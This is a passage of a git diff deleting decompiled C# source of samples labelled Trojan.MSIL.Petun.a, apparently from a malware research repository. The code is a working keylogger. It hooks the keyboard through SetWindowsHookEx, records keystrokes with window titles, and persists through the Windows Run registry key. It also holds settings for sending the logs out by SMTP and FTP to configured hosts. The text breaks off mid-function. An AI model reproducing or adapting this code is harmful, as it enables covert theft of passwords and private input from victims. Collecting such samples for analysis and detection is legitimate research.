numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct cZTliFbz - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum mZzWj - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - kluTNqsZ = 35, // 0x00000023 - JNyFMdED = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - eMBVLCQa = 45, // 0x0000002D - Whbtcy = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - UEloJl = 162, // 0x000000A2 - IIjrFg = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.cZTliFbz lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyApplication.cs deleted file mode 100644 index 8fc174b5..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyComputer.cs deleted file mode 100644 index a0aff788..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyProject.cs deleted file mode 100644 index 062778fd..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/QogcoFUpd.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/QogcoFUpd.cs deleted file mode 100644 index be0d389e..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/QogcoFUpd.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: QogcoFUpd -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using System; -using System.Threading; - -internal class QogcoFUpd : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public QogcoFUpd(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/ROS.cs deleted file mode 100644 index b5bb5268..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\xCcDOIaXt", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.uKzDuTwbZ, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 693f96c0..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {9F8449C4-0D2E-493B-B99B-FE69F8A27851} - WinExe - monkey5-uncrpyt - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 4ce0194b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "monkey5-uncrpyt", "Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.csproj", "{9F8449C4-0D2E-493B-B99B-FE69F8A27851}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9F8449C4-0D2E-493B-B99B-FE69F8A27851}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9F8449C4-0D2E-493B-B99B-FE69F8A27851}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9F8449C4-0D2E-493B-B99B-FE69F8A27851}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9F8449C4-0D2E-493B-B99B-FE69F8A27851}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Module1.cs deleted file mode 100644 index eca834cb..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool qfcWolIeD = false; - private static bool GjyRlF = false; - private static bool LQBtCf = false; - private static bool GfumXF = false; - private static bool ToCobD = false; - private static bool koOozt = false; - private static string IEQgvR = "20"; - private static string xeyEM = "AaD"; - private static int puRYf = 1; - private static string ZbTsI = "KwXt"; - public static string bEIWT = "CurrentUser"; - private static string FOaDW = "GUCTGK"; - private static string rDwPx = "RMBVMDQbKJ"; - private static string EPguDEO = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool RJxdZZY = false; - private static string SiYbTrV = "http://www.exampleserver.com/directfile.exe"; - private static bool IVgPOCC = false; - private static string mFQFCvO = "setup.exe"; - private static bool JbYvRp = true; - private static bool osumMb = false; - private static string kpEziv = "LHs1gVoZGRA="; - private static string uSNqs = "ftp.exampleserver.com"; - private static string jDiHYy = "LHs1gVoZGRA="; - private static string ClwDyK = "/"; - private static string qsCMHj = "smtp.gmail.com"; - private static string bHQRPUFx = "7uQ+a47HwGDI4eWm+XycbeN1DTUzcOTQ6GaAChodf1k="; - private static string jyqbJLfI = "hiwUUmNUi7fn9gllSE6Ihw=="; - private static string MLmUlXbC = "example@exampleserver.com"; - private static string GCNetPDM = "587"; - private static string DirrqvSZ = "----[ "; - private static string KZSCkmHj = " ]----"; - private static bool qDeyd; - private static bool fZrax; - private static bool oGUcd = true; - private static bool kRXqy = true; - private static bool zFqwE = true; - private static bool qskKm = true; - private const int HTjkGIRoW = 257; - private const short dcgSLSwXJ = 256; - private const int YsiZnxggT = 260; - private const int fTRLdawTr = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string GwnCM; - - public static string qHIdfoM - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string emcIDE - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string GgShlo - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string eTneVi - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string cyLZHY - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.dlxatZ lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int sGFV(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string CyVrQ() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object FOlgK() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void JFQTiEFPY() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.ZXzhy); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void Chqq() - { - try - { - if (!Conversions.ToBoolean(Module1.FOlgK()) || Module1.sGFV((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HbEJX( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int ZXzhy(int Code, int wParam, ref Module1.dlxatZ lParam) - { - int num; - try - { - object obj = (object) Module1.CyVrQ(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.GwnCM = Conversions.ToString(Operators.ConcatenateObject((object) Module1.GwnCM, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.DirrqvSZ), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.KZSCkmHj), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.GwnCM.EndsWith(Module1.KZSCkmHj + "\r\n") | !Module1.kRXqy | Module1.GwnCM.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.GwnCM = Module1.GwnCM.Remove(checked (Module1.GwnCM.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.oGUcd) - { - Module1.fZrax = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.qDeyd) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.qDeyd | Module1.fZrax) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - 